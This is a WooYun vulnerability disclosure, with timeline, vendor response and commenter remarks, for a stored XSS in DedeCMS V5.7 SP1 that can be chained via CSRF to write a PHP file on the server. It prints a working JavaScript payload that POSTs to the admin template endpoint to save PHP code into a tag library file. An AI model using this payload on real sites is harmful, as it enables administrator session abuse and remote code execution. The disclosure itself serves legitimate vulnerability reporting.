当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-063446

漏洞标题：DedeCMS某模块存储型xss 可打管理员 (csrf)getshell成功测试

相关厂商：Dedecms

漏洞作者： menmen519

提交时间：2014-06-04 10:37

修复时间：2014-09-02 10:38

公开时间：2014-09-02 10:38

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-04： 细节已通知厂商并且等待厂商处理中
2014-06-06： 厂商已经确认，细节仅向厂商公开
2014-06-09： 细节向第三方安全合作伙伴开放
2014-07-31： 细节向核心白帽子及相关领域专家公开
2014-08-10： 细节向普通白帽子公开
2014-08-20： 细节向实习白帽子公开
2014-09-02： 细节向公众公开

简要描述：

DedeCMS-V5.7-UTF8-SP1 块存储型xss 可打管理员 getshell成功测试

详细说明：

注册账户，然后登陆：

3.png


jscode:

function ajax(){
  
    var request = false;
  
    if(window.XMLHttpRequest) {
  
        request = new XMLHttpRequest();
  
    } else if(window.ActiveXObject) {
  
        var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
  
        for(var i=0; i<versions.length; i++) {
  
            try {
  
                request = new ActiveXObject(versions[i]);
  
            } catch(e) {}
  
        }
  
    }
  
    return request;
  
}
var _x = ajax();
  
postgo();
function postgo() {
  
    src="http://10.65.100.235/DedeCMS-V5.7-UTF8-SP1/uploads/dede/tpl.php";
  
    data="actiondo=edittag&action=savetagfile&filename=a.lib.php&content=%3C%3Fphp%0D%0Aphpinfo%28%29%3B%0D%0A%3F%3E&B1=++%E4%BF%9D+%E5%AD%98++";
	
    xhr_act("POST",src,data);
  
}
  
function xhr_act(_m,_s,_a){
    _x.open(_m,_s,false);
	
	cookie = document.cookie;
    if(_m=="POST"){
		_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
		_x.setRequestHeader("Cookie",cookie);
	}
  
    _x.send(_a);
  
    return _x.responseText;
  
}


为了做测试，我们提前建立一个测试标签，标签的内容为空,如图所示：

4.png


然后我们的js代码就是往a.lib.php里面写入phpinfo()
步骤操作如图所示：

5.png


6.png


最终我们去访问DedeCMS-V5.7-UTF8-SP1/uploads/include/taglib/a.lib.php，完全没有限制
直接可以看到phpinfo被执行了如图：

7.png


漏洞证明：

修复方案：

对于输出的地方全部做htmlcode转换

版权声明：转载请注明来源 menmen519@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2014-06-06 19:41

厂商回复：

已修复，感谢提交

最新状态：

暂无

漏洞评价：

评论

  1. 2014-06-04 10:38 | adm1n ( 普通白帽子 | Rank:216 漏洞数:66 | 只是一个渣渣而已。。。)

    前排

  2. 2014-06-04 10:49 | 小杰 ( 路人 | Rank:4 漏洞数:1 | 低调的一个人)

    你们要闹那样，这个月是要刷爆dede吗、、

  3. 2014-06-04 11:02 | YouYaX(乌云厂商)

    青年文摘用的是织梦~白帽子快去刷分

  4. 2014-06-04 11:23 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    @YouYaX 调皮

  5. 2014-06-04 11:32 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    调皮！

  6. 2014-06-04 11:36 | 邪少 ( 实习白帽子 | Rank:58 漏洞数:7 )

    坐等公开。。。

  7. 2014-06-04 11:45 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号，不装逼了，再见孩子们。by Mosua...)

    @YouYaX 青年文摘叫我来打你

  8. 2014-06-04 12:52 | 大白菜 ( 实习白帽子 | Rank:52 漏洞数:19 )

    太屌炸天了

  9. 2014-06-04 13:01 | Fire ant ( 实习白帽子 | Rank:73 漏洞数:26 | 他们回来了................)

    买瓜子

  10. 2014-06-06 20:08 | black4yl ( 路人 | Rank:2 漏洞数:1 | WoHoo !)

    DeDe 好多。

  11. 2014-06-26 21:32 | 微尘 ( 普通白帽子 | Rank:218 漏洞数:74 )

    这洞似乎有点鸡肋，一般的站都没开那个栏目的吧

  12. 2014-09-02 13:57 | xsser_w ( 普通白帽子 | Rank:112 漏洞数:33 | 哎)

    确定这是一个页面？ 2个页面的操作肯定会离开原来的页面